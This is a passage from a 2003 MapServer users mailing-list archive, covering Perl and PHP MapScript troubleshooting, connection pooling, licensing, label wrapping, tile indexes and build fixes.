should cut substantially more ice. I'll send >the code to Steve Lime and the PostGIS and OS folks for testing and if >they agree it can be put into CVS. Unless I made some terrible mistake >this should not take much time: the whole thing takes about 50 lines in >the main code and about 5 lines for each of the database interfaces. >Moreover, there is no need to change all database interfaces at the same >time: an unchanged interface will run as before. > >Note however that connections are pooled ONLY within a single map (i.e. >a single MapServer request). Every new map (e.g. for zoom or pan) has to >open a new connection (which will be used subsequently for all layers in >that map). I'm not sure if this will be adequate for SDE and OS. At >first sight, I have no idea how to keep open a connection between map >requests. Do people know how ArcIMS/SDE and OS manage this (if they do >it at all)? > >Jan From Norman Fri Jan 3 11:22:23 2003 From: Norman (Norman) Date: Fri, 3 Jan 2003 14:22:23 -0500 Subject: [Mapserver-users] Off topic a bit: Java GML reader/writer... References: Message-ID: <00d401c2b35d$732f8620$1637ba8c@sfdev3> Steve writes: > > Hi folks: Does anyone know a java-based GML reader/writer class? I'm > looking to use it to load/save features > for a simple online digitizing applet (see > http://maps.dnr.state.mn.us/digitize/java/appletTest.html, requires > java 2 plugin) using WFS. Thanks much... a Google( "class gml" ) turns up http://www.geotools.org/docs/uk/ac/leeds/ccg/gml/GMLReader.html HTH Norman From morissette at dmsolutions.ca Fri Jan 3 11:26:07 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 03 Jan 2003 14:26:07 -0500 Subject: [Mapserver-users] Open Source economy 101 ;) (was: Fastest Data Format) References: <7CDD7B94357FD5119E800002A537C46E23054F@s5-ccr-r1.ccrs.nrcan.gc.ca> Message-ID: <3E15E3CF.E68431E@dmsolutions.ca> Jean-Francois.Doyon at ccrs.nrcan.gc.ca wrote: > > And yes, it is unfortunate in some ways that MapServer isn't GPL, because > I'm sure there are LOTS of enhancements to MapServer that exist out there > that were never returned to the community, which is unfortunate. We often > hear talk about CFX's for MapServer, or a COM implementation ... I know of > at least one instance of this occuring. Not to mention this also creates > duplication of effort in many cases I'm sure. > I agree that it is unfortunate that some enhancements are never returned to the core, but I think it's a part of life that we have to get used to. My intention is not to start yet another license debate, but I don't agree that things would be better if MapServer was using a GPL license. Personally I find GPL too restrictive and I think it would hurt us if MapServer was using GPL. OGR is a very good example where a more flexible license (MIT/X11 license, same as MapServer) has helped the cause: OGR is used in a few proprietary softwares and most of the drivers in OGR were funded by those organizations using it. If OGR had been using a GPL license then those companies would not have been able to use it, those drivers would never have been implemented, and nobody would be able to read DGN and TAB files in MapServer today, just to name those two. My 0.02$ :) Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From jlowe at giswebsite.com Fri Jan 3 11:50:56 2003 From: jlowe at giswebsite.com (Jonathan W. Lowe) Date: 03 Jan 2003 11:50:56 -0800 Subject: [Mapserver-users] mapscript and XBase cause Out of memory error and/or premature endof script headers error In-Reply-To: <200301031407.h03E7vR03882@yogi.medinaco.net> References: <200301031407.h03E7vR03882@yogi.medinaco.net> Message-ID: <1041623459.1062.27.camel@localhost.localdomain> Thanks, Lowell. New discoveries... The CGI module seems to be the problem. The following bare-bones script works perfectly when the "#use CGI;" is commented out: #!/usr/bin/perl -w use strict; BEGIN { unshift(@INC, ('/usr/home/gisweb/local/lib', '/usr/home/gisweb/local/lib/perl5/site_perl/5.005/i386-freebsd'));} use mapscript; use XBase; use CGI; my $mapfilename = "/usr/home/gisweb/gis/proj/berk/b20.map"; my $image_path = '/usr/home/gisweb/www/docs/gis/scratch/'; my $image_virtual_path = '/gis/scratch/'; my $image_id = $$ . time() . ".png"; my $map = new mapObj($mapfilename) or die('Unable to open mapfile.'); my $img = $map->draw() or die('Unable to draw map'); binmode STDOUT; $img->saveImage($image_path . $image_id,$mapscript::MS_PNG,$map->{transparent},$map->{interlace},95); my $recnumb = 3; my $table = new XBase '/usr/home/gisweb/gis/data/berk/wa_b.dbf' or die XBase->errstr; my @querydata = $table->get_record($recnumb); my $block_result = $querydata[1]; print "Content-type: text/html\n\n"; print "\n"; print "XBase output:
\n"; print "$block_result!\n"; print "

Mapscript output:
\n"; print "\n"; print "\n" # --- End of ms_test5.cgi --- # But...when run with "use CGI;" uncommented, the image is corrupt and the following message appears in the apache error_log: gd-png: fatal libpng error: Out of Memory gd-png error: setjmp returns error condition When run in the command line (as "perl ms_test5.cgi"), the program also runs perfectly. So, if the solution involves ulink/unlink, the shell builtin, how do I take advantage of that builtin command if the program is running within the apache/CGI environment? Thanks again for your help, Jonathan On Fri, 2003-01-03 at 06:10, Lowell Filak wrote: > The only thing I can seem to locate right now is the shell built-in command ulimit/unlimit . > Possibly the shell that the cgi is being run in needs unlimit set.? > All this is assuming that when you receive the out-of-memory error your watching top and can clearly see that there is plenty of memory left.? > HTH > Lowell F. > > The following message was sent by "Jonathan W. Lowe" on 02 Jan 2003 16:34:07 -0800. > > > List: > > > > Perl mapscript in combination with the perl XBase and CGI modules works > > very well in my Redhat 8 development environment, but when moving the > > code to the production FreeBSD environment, the following problem > > results: > > > > A program containing the statements... > > > > use mapscript; > > use XBase; > > > > ...runs the mapscript portions correctly when just the "use XBase;" line > > is commented out. > > > > The same program runs the XBase portions correctly when just the "use > > mapscript;" line is commented out. > > > > The line causing problems when both modules are running contains the > > following perl mapscript command: > > > > my $img = $map->draw() or die('Unable to draw map'); > > > > The resulting line in the apache error_log reads: > > > > Out of memory! > > [Thu Jan 2 16:09:25 2003] [error] Premature end of script > > headers...etc > > > > The only posting referring to "Out of memory" in this context refers to > > SWIG and is a couple of years old. > > > > Any ideas for resolving this problem? > > > > Regards, > > Jonathan W. Lowe > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From morissette at dmsolutions.ca Fri Jan 3 12:22:37 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 03 Jan 2003 15:22:37 -0500 Subject: [Mapserver-users] (Off-topic) Mapserver-users list stats Message-ID: <3E15F10D.F9A5A09F@dmsolutions.ca> This is a little off-topic. I was archiving mapserver-users messages and ran into those interesting numbers showing the progression of the MapServer community: Approx. number of messages to the mapserver-users list per year: 2000 - 1535 messages 2001 - 3210 messages 2002 - 6087 messages Yup, traffic is roughly doubling every year! Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From lfilak at medinaco.org Fri Jan 3 12:32:32 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Fri, 03 Jan 2003 15:32:32 -0500 Subject: [Mapserver-users] mapscript and XBase cause Out of memory errorand/or premature endof script headers error Message-ID: <200301032029.h03KTfR09047@yogi.medinaco.net> I'm thinking as a quick test you could do: system("ulimit"); or system("unlimit"); and see if the script executes properly. Lowell The following message was sent by "Jonathan W. Lowe" on 03 Jan 2003 11:50:56 -0800. > Thanks, Lowell. New discoveries... > > The CGI module seems to be the problem. > > The following bare-bones script works perfectly when the "#use CGI;" is > commented out: > > #!/usr/bin/perl -w > use strict; > BEGIN { unshift(@INC, ('/usr/home/gisweb/local/lib', > '/usr/home/gisweb/local/lib/perl5/site_perl/5.005/i386-freebsd'));} > use mapscript; > use XBase; > use CGI; > > my $mapfilename = "/usr/home/gisweb/gis/proj/berk/b20.map"; > my $image_path = '/usr/home/gisweb/www/docs/gis/scratch/'; > my $image_virtual_path = '/gis/scratch/'; > my $image_id = $$ . time() . ".png"; > > my $map = new mapObj($mapfilename) or die('Unable to open mapfile.'); > my $img = $map->draw() or die('Unable to draw map'); > binmode STDOUT; > $img->saveImage($image_path . > $image_id,$mapscript::MS_PNG,$map->{transparent},$map->{interlace},95); > my $recnumb = 3; > my $table = new XBase '/usr/home/gisweb/gis/data/berk/wa_b.dbf' > or die XBase->errstr; > my @querydata = $table->get_record($recnumb); > my $block_result = $querydata[1]; > > print "Content-type: text/html\n\n"; > print "\n"; > print "XBase output:
\n"; > print "$block_result!\n"; > print "

Mapscript output:
\n"; > print " print "$image_id\" border=\"1\">\n"; > print "\n" > > # --- End of ms_test5.cgi --- # > > But...when run with "use CGI;" uncommented, the image is corrupt and the > following message appears in the apache error_log: > > gd-png: fatal libpng error: Out of Memory > gd-png error: setjmp returns error condition > > When run in the command line (as "perl ms_test5.cgi"), the program also > runs perfectly. > > So, if the solution involves ulink/unlink, the shell builtin, how do I > take advantage of that builtin command if the program is running within > the apache/CGI environment? > > Thanks again for your help, > > Jonathan > > On Fri, 2003-01-03 at 06:10, Lowell Filak wrote: > > The only thing I can seem to locate right now is the shell built-in command ulimit/unlimit . > > Possibly the shell that the cgi is being run in needs unlimit set.? > > All this is assuming that when you receive the out-of-memory error your watching top and can clearly see that there is plenty of memory left.? > > HTH > > Lowell F. > > > > The following message was sent by "Jonathan W. Lowe" on 02 Jan 2003 16:34:07 -0800. > > > > > List: > > > > > > Perl mapscript in combination with the perl XBase and CGI modules works > > > very well in my Redhat 8 development environment, but when moving the > > > code to the production FreeBSD environment, the following problem > > > results: > > > > > > A program containing the statements... > > > > > > use mapscript; > > > use XBase; > > > > > > ...runs the mapscript portions correctly when just the "use XBase;" line > > > is commented out. > > > > > > The same program runs the XBase portions correctly when just the "use > > > mapscript;" line is commented out. > > > > > > The line causing problems when both modules are running contains the > > > following perl mapscript command: > > > > > > my $img = $map->draw() or die('Unable to draw map'); > > > > > > The resulting line in the apache error_log reads: > > > > > > Out of memory! > > > [Thu Jan 2 16:09:25 2003] [error] Premature end of script > > > headers...etc > > > > > > The only posting referring to "Out of memory" in this context refers to > > > SWIG and is a couple of years old. > > > > > > Any ideas for resolving this problem? > > > > > > Regards, > > > Jonathan W. Lowe > > > > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From pramsey at refractions.net Fri Jan 3 12:42:35 2003 From: pramsey at refractions.net (Paul Ramsey) Date: Fri, 03 Jan 2003 12:42:35 -0800 Subject: [Mapserver-users] Fastest Data Format In-Reply-To: <200301031906.h03J6hsp010368@peligroso.gaiaenv.com> References: <200301031906.h03J6hsp010368@peligroso.gaiaenv.com> Message-ID: <3E15F5BB.10206@refractions.net> GAIA wrote: > Strictly speaking from an SDE > point of view, licenses are limited and we want to return them to the > pool as fast as possible to make way for other requests. From a > PostGIS perspective, things might be different. Probably, Paul is > the best person to comment on this (?). > Again, please let us know if we can help in any way (e.g., testing > with SDE). Perhaps Jan can send you his code cut as well, to test against SDE. WRT PostGIS and persistent connections, the one-time connection overhead is so low (relative to total map processing time) that maintaining a persistent connection is not worth it. The per-session pool should be quite sufficient to make complex PostGIS-backed maps perform well. P. -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ From jlowe at giswebsite.com Fri Jan 3 14:21:50 2003 From: jlowe at giswebsite.com (Jonathan W. Lowe) Date: 03 Jan 2003 14:21:50 -0800 Subject: [Mapserver-users] mapscript and XBase cause Out of memory errorand/or premature endof script headers error In-Reply-To: <200301032029.h03KTfR09047@yogi.medinaco.net> References: <200301032029.h03KTfR09047@yogi.medinaco.net> Message-ID: <1041632513.1083.36.camel@localhost.localdomain> Adding system("unlimit"); or system("ulimit"); to the script results in the following error_log entries (respectively): Can't exec "unlimit": No such file or directory at /usr/home/gisweb/www/cgi-bin/ms_test5.cgi line 3. gd-png: fatal libpng error: Out of Memory gd-png error: setjmp returns error condition Can't exec "ulimit": No such file or directory at /usr/home/gisweb/www/cgi-bin/ms_test5.cgi line 3. gd-png: fatal libpng error: Out of Memory gd-png error: setjmp returns error condition At a command prompt on the FreeBSD system, typing "unlimit" successfully calls the builtin command. Likewise, also in the FreeBSD system, opening "sh" and typing "ulimit" returns the text: "unlimited", also successfully calling the builtin command. But no luck when using the system call as part of a CGI-driven script. Should I be forcing the perl script to run in another shell? (Not sure how I'd do that.) - Jonathan On Fri, 2003-01-03 at 12:32, Lowell Filak wrote: > I'm thinking as a quick test you could do: > system("ulimit"); > or > system("unlimit"); > and see if the script executes properly. > Lowell > > The following message was sent by "Jonathan W. Lowe" on 03 Jan 2003 11:50:56 -0800. > > > Thanks, Lowell. New discoveries... > > > > The CGI module seems to be the problem. > > > > The following bare-bones script works perfectly when the "#use CGI;" is > > commented out: > > > > #!/usr/bin/perl -w > > use strict; > > BEGIN { unshift(@INC, ('/usr/home/gisweb/local/lib', > > '/usr/home/gisweb/local/lib/perl5/site_perl/5.005/i386-freebsd'));} > > use mapscript; > > use XBase; > > use CGI; > > > > my $mapfilename = "/usr/home/gisweb/gis/proj/berk/b20.map"; > > my $image_path = '/usr/home/gisweb/www/docs/gis/scratch/'; > > my $image_virtual_path = '/gis/scratch/'; > > my $image_id = $$ . time() . ".png"; > > > > my $map = new mapObj($mapfilename) or die('Unable to open mapfile.'); > > my $img = $map->draw() or die('Unable to draw map'); > > binmode STDOUT; > > $img->saveImage($image_path . > > $image_id,$mapscript::MS_PNG,$map->{transparent},$map->{interlace},95); > > my $recnumb = 3; > > my $table = new XBase '/usr/home/gisweb/gis/data/berk/wa_b.dbf' > > or die XBase->errstr; > > my @querydata = $table->get_record($recnumb); > > my $block_result = $querydata[1]; > > > > print "Content-type: text/html\n\n"; > > print "\n"; > > print "XBase output:
\n"; > > print "$block_result!\n"; > > print "

Mapscript output:
\n"; > > print " > print "$image_id\" border=\"1\">\n"; > > print "\n" > > > > # --- End of ms_test5.cgi --- # > > > > But...when run with "use CGI;" uncommented, the image is corrupt and the > > following message appears in the apache error_log: > > > > gd-png: fatal libpng error: Out of Memory > > gd-png error: setjmp returns error condition > > > > When run in the command line (as "perl ms_test5.cgi"), the program also > > runs perfectly. > > > > So, if the solution involves ulink/unlink, the shell builtin, how do I > > take advantage of that builtin command if the program is running within > > the apache/CGI environment? > > > > Thanks again for your help, > > > > Jonathan > > > > On Fri, 2003-01-03 at 06:10, Lowell Filak wrote: > > > The only thing I can seem to locate right now is the shell built-in command ulimit/unlimit . > > > Possibly the shell that the cgi is being run in needs unlimit set.? > > > All this is assuming that when you receive the out-of-memory error your watching top and can clearly see that there is plenty of memory left.? > > > HTH > > > Lowell F. > > > > > > The following message was sent by "Jonathan W. Lowe" on 02 Jan 2003 16:34:07 -0800. > > > > > > > List: > > > > > > > > Perl mapscript in combination with the perl XBase and CGI modules works > > > > very well in my Redhat 8 development environment, but when moving the > > > > code to the production FreeBSD environment, the following problem > > > > results: > > > > > > > > A program containing the statements... > > > > > > > > use mapscript; > > > > use XBase; > > > > > > > > ...runs the mapscript portions correctly when just the "use XBase;" line > > > > is commented out. > > > > > > > > The same program runs the XBase portions correctly when just the "use > > > > mapscript;" line is commented out. > > > > > > > > The line causing problems when both modules are running contains the > > > > following perl mapscript command: > > > > > > > > my $img = $map->draw() or die('Unable to draw map'); > > > > > > > > The resulting line in the apache error_log reads: > > > > > > > > Out of memory! > > > > [Thu Jan 2 16:09:25 2003] [error] Premature end of script > > > > headers...etc > > > > > > > > The only posting referring to "Out of memory" in this context refers to > > > > SWIG and is a couple of years old. > > > > > > > > Any ideas for resolving this problem? > > > > > > > > Regards, > > > > Jonathan W. Lowe > > > > > > > > _______________________________________________ > > > > Mapserver-users mailing list > > > > Mapserver-users at lists.gis.umn.edu > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From keon at nacse.org Fri Jan 3 23:14:05 2003 From: keon at nacse.org (Dylan Keon) Date: Fri, 03 Jan 2003 23:14:05 -0800 Subject: [Mapserver-users] shapefile transparency References: <048FBD219330D211B47000A0C9B3BAFD01BDBEFB@crl02.crrel.usace.army.mil> Message-ID: <3E1689BD.6040705@nacse.org> Amy, not sure if you got a reply to this. I encountered the same thing with 3.7 a couple of weeks ago and filed a bug. You can read more here: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=249 --Dylan Stender, Amy ERDC-CRREL-NH Contractor wrote: > Hello, > > I'm a little confused as to how TRANSPARENCY works within a LAYER > object. I have urban area polygons I would like to overlay > states/counties, with TRANSPARENCY set to 50. When this layer turns > on, not only are the urban areas transparent, but the states/counties > go transparent as well. This appears only to effect the layers on by > default. When I turn on other layers, they are still completely > opaque. > > Any ideas what I'm doing wrong? (I'm using v3.7) From javageoff at hotmail.com Sat Jan 4 16:56:46 2003 From: javageoff at hotmail.com (Geoff Anderson) Date: Sat, 04 Jan 2003 17:56:46 -0700 Subject: [Mapserver-users] Mapserver to SVG Demo Message-ID:



Here's the Mapserver to SVG Demo.  It loads the current Mapserver map image into SVG. The image is not converted to SVG, just provides a raster base map over which SVG stuff can be implemented. On browsers where the SVG mouse events work, users may "digitize" points and query PostGIS by point coordinates (which might be correct...).  The PHP code can easily be modified to do SVG based digitizing etc.  I'm using it in a web based surface profiler and an GML-centric/Java2D vector overlay utility that does browser based vector overlay and returns the overlay result as SVG polygons overlaid over Mapserver generated base maps...  

Mapserver to SVG demo: http://206.168.217.254/cci/umn2svg

Please let me know if anyone wants the PHP source.  It's not pretty, but it seems to work.

Geoff Anderson



MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*. From katarina.kobesova at chello.at Sun Jan 5 07:47:17 2003 From: katarina.kobesova at chello.at (Katarina Kobesova) Date: Sun, 5 Jan 2003 16:47:17 +0100 Subject: [Mapserver-users] maxcount of characters in a line Message-ID: <001b01c2b4d1$bba17380$356a6e50@katti> This is a multi-part message in MIME format. ------=_NextPart_000_0018_01C2B4DA.1B953A30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello together ! I have a simple question: how I can force a line break in a label ? (comparable
in HTML).=20 Some code: Mapfile: LAYER #start of layer NAME "apotheken" DATA apotheken STATUS ON TYPE POINT CLASSITEM "FIRMA" CLASS NAME "Apotheken" #in the legend #EXPRESSION, SYMBOL and TEXT are in a phpfile defined LABEL #important for TEXT TYPE TRUETYPE FONT Verdana POSITION UC WRAP '-' BUFFER 10 SIZE 7 END END END #end of layer object phpfile: getLayerByName("apotheken"); } else if($_SESSION["s_shape"] =3D=3D "spital") { $layer =3D $map->getLayerByName("spitaele"); } $result_class =3D $layer->getClass(0); /***** Class f=FCr Symbole definieren *****/ //1. all Locations $m =3D new ResultMap(); #defined in an=20 while(list($key, $value) =3D each($_SESSION)) { if(substr($key, 0,3) =3D=3D "loc") { $m->addLocationToShape($value); $expr .=3D $value->getFirma() . "|"; } } //2. from-values (start position - home - only a point) $m->addXYToShape($_SESSION["s_fromx"], $_SESSION["s_fromy"]); //3. perhaps to-values (start position - for example a line, not a = point) if($_SESSION["s_tox"] && $_SESSION["s_toy"]) { $m->addXYToShape($_SESSION["s_tox"], $_SESSION["s_toy"]); } /*****!!! relevant ****/ /*********** symbol with a label (TEXT) *******/ $expr =3D substr($expr, 0, strlen($expr)-1); //das letze "|" entfernen $expr =3D "/(" . $expr . ")/"; $result_class->setexpression($expr); $result_class->set("symbol", 4); $result_class->settext($layer, "([FIRMA], [STRASSE], [HNR], [PLZ])"); /*********** symbol with a label (TEXT) *******/ /*****!!! relevant ****/ /********** draw a map *****/ $extent =3D $m->getMapExtent(); $map->setextent($extent->minx, $extent->miny, $extent->maxx, = $extent->maxy); $image =3D $map->draw(); $image_url =3D $image->saveWebImage(MS_PNG, 1, 1, 0); /********** draw a map *****/ ?> "> My problem:=20 how I can define the "maxcount of characters in a line", which means = that the company name (for example) can extend over 3 lines ? Many thanks Kati Vienna ------=_NextPart_000_0018_01C2B4DA.1B953A30 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello together !
 
I have a simple question:
how I can = force a line=20 break in a label ?
(comparable <br>in HTML). =
 
Some code:
Mapfile:
 
LAYER #start of = layer
   NAME=20 "apotheken"
   DATA apotheken
   STATUS=20 ON
   TYPE POINT
   CLASSITEM = "FIRMA"
  =20 CLASS
      NAME "Apotheken"   #in = the=20 legend
#EXPRESSION, SYMBOL=20 and TEXT are in a phpfile defined
     =20 LABEL   #important for=20 TEXT
         TYPE=20 TRUETYPE
         FONT=20 Verdana
         POSITION=20 UC
         WRAP=20 '-'
         BUFFER=20 10
         SIZE=20 7
      END
   END
END #end = of layer=20 object
phpfile:
 
<?php
include_once("dbase_gis.inc");
$map_path =3D=20 "ms_tmp/";
$raster_dir =3D "wigeomap10000";
$map_file =3D = "wien.map";
$map=20 =3D ms_newMapObj($map_path . $map_file);
 
 
reset($_SESSION);
/***** Class for Symbols = is here=20 defined *****/
if($_SESSION["s_shape"] =3D=3D "apotheke") = {
  =20 $layer =3D $map->getLayerByName("apotheken");
}=20 else
if($_SESSION["s_shape"] =3D=3D "spital") {
   = $layer =3D=20 $map->getLayerByName("spitaele");
}
 
$result_class =3D=20 $layer->getClass(0);
/*****=20 Class f=FCr Symbole definieren *****/
 
//1. all Locations
$m =3D new = ResultMap();   #defined=20 in an
while(list($key, $value) =3D each($_SESSION)) = {
  =20 if(substr($key, 0,3) =3D=3D "loc") {
     =20 $m->addLocationToShape($value);
      = $expr=20 .=3D  $value->getFirma() . "|";
   = }
}
 
//2. from-values (start = position - home -=20 only a point)
$m->addXYToShape($_SESSION["s_fromx"],=20 $_SESSION["s_fromy"]);
 
//3. perhaps to-values = (start position=20 - for example a line, not a point)
if($_SESSION["s_tox"] &&=20 $_SESSION["s_toy"]) {
   = $m->addXYToShape($_SESSION["s_tox"],=20 $_SESSION["s_toy"]);
}
 
/*****!!! relevant=20 ****/
/*********** symbol with=20 a label (TEXT) *******/
$expr =3D substr($expr, 0, = strlen($expr)-1); =20 //das letze "|" entfernen
$expr =3D "/(" . $expr .=20 ")/";
$result_class->setexpression($expr);
$result_class->set= ("symbol",=20 4);
$result_class->settext($layer, "([FIRMA], [STRASSE], [HNR],=20 [PLZ])");
/*********** symbol with a label=20 (TEXT) *******/
/*****!!! relevant=20 ****/
 
/********** draw a=20 map *****/
$extent =3D=20 $m->getMapExtent();
$map->setextent($extent->minx, = $extent->miny,=20 $extent->maxx, $extent->maxy);
$image =3D = $map->draw();
$image_url=20 =3D $image->saveWebImage(MS_PNG, 1, 1, 0);
/********** draw a = map *****/
?>
 
<input class=3D"image" type=3D"image" = src=3D"<?php=20 echo $map_path . $image_url; ?>">
 
My problem:
how I can define the "maxcount=20 of characters in a line", which means that the company name = (for=20 example) can extend over 3 lines ?
 
Many thanks
Kati
Vienna
------=_NextPart_000_0018_01C2B4DA.1B953A30-- From pkishor at geoanalytics.com Sun Jan 5 20:12:23 2003 From: pkishor at geoanalytics.com (Puneet Kishor) Date: Sun, 5 Jan 2003 22:12:23 -0600 Subject: [Mapserver-users] RE: maxcount of characters in a line In-Reply-To: <20030105180002.1883.25728.Mailman@lists.gis.umn.edu> Message-ID: <0F04BA3E-212D-11D7-ADDC-0003936306C2@geoanalytics.com> > > > Today's Topics: > > .. > 2. maxcount of characters in a line (Katarina Kobesova) > > --__--__-- > > Message: 2 > From: "Katarina Kobesova" > To: > Date: Sun, 5 Jan 2003 16:47:17 +0100 > Subject: [Mapserver-users] maxcount of characters in a line > > .. > > Hello together ! > > I have a simple question: > how I can force a line break in a label ? > (comparable
in HTML).=20 well, you could chunk split. $newlabel = chunk_split($label, 20); would that help? basically a "\r\n" would be inserted every 20 chars. You could replace the default "\r\n" with just "\n" if you so desire. > > Some code: > .. From lyndon.zimmermann at adelaide.edu.au Sun Jan 5 22:14:17 2003 From: lyndon.zimmermann at adelaide.edu.au (Lyndon Zimmermann) Date: Mon, 06 Jan 2003 16:44:17 +1030 Subject: [Mapserver-users] Multiple files as one LAYER Message-ID: <3E191EB9.3F24816A@adelaide.edu.au> Greetings, I have data consisting of dozens of shapefiles sitting in individual subdirectories which I'd like to load as one LAYER. I'd rather not extend my MAP file with dozens of additional layers if I can avoid it, I'd like to think that I could write another file that does this for me. What's the best solution? Regards, Lyndon Zimmermann From eblevins at insight.rr.com Sun Jan 5 23:19:12 2003 From: eblevins at insight.rr.com (Eric L. Blevins) Date: Mon, 6 Jan 2003 02:19:12 -0500 Subject: [Mapserver-users] Multiple files as one LAYER References: <3E191EB9.3F24816A@adelaide.edu.au> Message-ID: <002201c2b553$ea4293e0$6405a8c0@piii933> I have the same sort of setup and here is what I did. create a tileindex for your shape files: find . -name "railroads.shp" -print > metafile.txt tile4ms metafile.txt railroadstile In the map file tell it to use the tileindex: LAYER name "RailRoads" TYPE line STATUS DEFAULT TILEINDEX "railroadstile" TILEITEM "LOCATION" A bit more info can be found here http://mapserver.gis.umn.edu/utils.html Hope this helps! eblevins www.WiFiMaps.com ----- Original Message ----- From: "Lyndon Zimmermann" To: Sent: Monday, January 06, 2003 1:14 AM Subject: [Mapserver-users] Multiple files as one LAYER > Greetings, > I have data consisting of dozens of shapefiles sitting in individual > subdirectories which I'd like to load as one LAYER. I'd rather not > extend my MAP file with dozens of additional layers if I can avoid it, > I'd like to think that I could write another file that does this for > me. What's the best solution? > > Regards, > > Lyndon Zimmermann > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From stefan.schwarzer at grid.unep.ch Mon Jan 6 04:51:41 2003 From: stefan.schwarzer at grid.unep.ch (Stefan Schwarzer) Date: Mon, 06 Jan 2003 13:51:41 +0100 Subject: [Mapserver-users] highlight selected area Message-ID: <5.2.0.9.0.20030106133918.0215caa0@gridg.grid.unep.ch> --=====================_20439891==.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed Hi everybody, I am developing a MMS application, based on the GMAP example. One would find in the navigation bar a simple zoom and a selection tool. With the latter the user should be enabled to draw a rectangle on the map to mark the selection area. But instead of reloading the map, I want the application to show the matching results in a separate table while still (or if the map has to be reloaded: again) showing the bounding box on the map. There is a nice example on http://www.geographynetwork.com/ using ArcIMS. Here, it highlights very nicely the selected area. I didn't find anything in the mailing list archive. Does anybody have an idea how to do that? Thanks for any help, Stefan _______________________________________ Stefan Schwarzer Consultant on GEO UNEP/DEWA/GRID-Geneva Chemin des Anemones 11 CH - 1219 Chatelaine Switzerland Tel: (+41) 22.917.83.49 Fax: (+41) 22.917.80.29 Email: stefan.schwarzer at grid.unep.ch Internet: http://geodata.grid.unep.ch/ _______________________________________ --=====================_20439891==.ALT Content-Type: text/html; charset="us-ascii" Hi everybody,

I am developing a MMS application, based on the GMAP example.  One would find in the navigation bar a simple zoom and a selection tool. With the latter the user should be enabled to draw a rectangle on the map to mark the selection area. But instead of reloading the map, I want the application to show the matching results in a separate table while still (or if the map has to be reloaded: again) showing the bounding box on the map.  There is a nice example on http://www.geographynetwork.com/ using ArcIMS. Here, it highlights very nicely the selected area.

I didn't find anything in the mailing list archive. Does anybody have an idea how to do that?

Thanks for any help,

Stefan

        _______________________________________

        Stefan Schwarzer
        Consultant on GEO

        UNEP/DEWA/GRID-Geneva
        Chemin des Anemones 11
        CH - 1219 Chatelaine
        Switzerland

        Tel: (+41) 22.917.83.49
        Fax: (+41) 22.917.80.29

        Email: stefan.schwarzer at grid.unep.ch
        Internet: http://geodata.grid.unep.ch/
        _______________________________________ --=====================_20439891==.ALT-- From rhornsby at io.osuedc.org Mon Jan 6 05:56:51 2003 From: rhornsby at io.osuedc.org (richard hornsby) Date: Mon, 6 Jan 2003 08:56:51 -0500 (EST) Subject: [Mapserver-users] MDK9 (gcc3): undefined reference to `__gxx_personality_v0' In-Reply-To: <04c701c2b2a0$d8df9cc0$1436ba8c@sfdev3> Message-ID: -[snip]- NV :2) adding -lstdc++ to the list of libraries thesse executables are NV : linked against -[snip]- this worked out very well, thanks! fyi, this is the line I put it on, forgive my poor man's hack if it should go elsewhere: STATIC_LIBS= $(GD_STATIC) $(OGR_STATIC) -lstdc++ this is at or around line 161 of the Makefile. -rj From rhornsby at io.osuedc.org Mon Jan 6 06:03:51 2003 From: rhornsby at io.osuedc.org (richard hornsby) Date: Mon, 6 Jan 2003 09:03:51 -0500 (EST) Subject: [Mapserver-users] making the demo work with non-gif GD libs Message-ID: I think I'm running with GD libs somewhere around 1.8, but the point being that they don't support GIF rendering, because of the patent issues, etc. However, when running the mapserv demo, I wasn't getting errors specifically related to GD - instead I was getting things like: msLoadMap(): General error message. Undefined symbol "symbols/ctyhwy.gif" in class 0 of layer ctyrdln3_anno. The "symbol" exists in the directory that it should. The docs suggest to comment out large sections of your .map file. However, I converted the .gif symbols and 'reference.gif' to pngs, and changed the references in demo.map to png, it works happily. Slightly off-topic, for larger projects which need this kind of conversion, you can certainly use sed on the .map file, but does anyone know of tools to convert images between formats quickly (ala sox)? thanks -rj -- Information Center, n.: A room staffed by professional computer people whose job it is to tell you why you cannot have the information you require. rj hornsby . systems engineer . www.osuedc.org human and community resource development p 614 688 8761 . f 614 688 8762 From mh at svaj.dk Mon Jan 6 06:08:20 2003 From: mh at svaj.dk (Martin Hoegh) Date: Mon, 6 Jan 2003 15:08:20 +0100 Subject: [Mapserver-users] (no subject) Message-ID: <002101c2b58d$11acd1f0$6700000a@svaj.local> This is a multi-part message in MIME format. ------=_NextPart_000_001E_01C2B595.73434C20 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi It seems to me that 'mapxy=3Dshape' in a mapserv url only works with = shapefiles not with PostGis data. Is this right? I want to zoom to = features found in an itemnquery. Martin H=F8gh Sven Allan Jensen as Sankelmarksgade 9 9000 Aalborg Tlf. 98129300 Direkte tlf. 96314082 mh at svaj.dk ------=_NextPart_000_001E_01C2B595.73434C20 Content-Type: text/html; 